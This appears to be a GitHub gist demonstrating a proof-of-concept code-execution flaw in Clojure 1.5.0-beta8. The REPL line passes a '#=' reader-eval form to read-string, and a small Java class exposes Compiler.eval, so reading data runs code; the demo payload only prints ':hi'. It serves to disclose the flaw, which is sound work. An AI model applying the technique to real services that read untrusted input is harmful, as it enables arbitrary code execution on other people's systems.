Created
February 5, 2013 16:46
-
-
Save cemerick/4715727 to your computer and use it in GitHub Desktop.
exploiting Clojure 1.5.0-beta8
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=> (read-string "#=(cemerick.SomeMap/eval (println :hi))") | |
:hi | |
nil |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package cemerick; | |
public class SomeMap extends clojure.lang.PersistentArrayMap { | |
public static Object eval (Object form) { | |
return clojure.lang.Compiler.eval(form); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment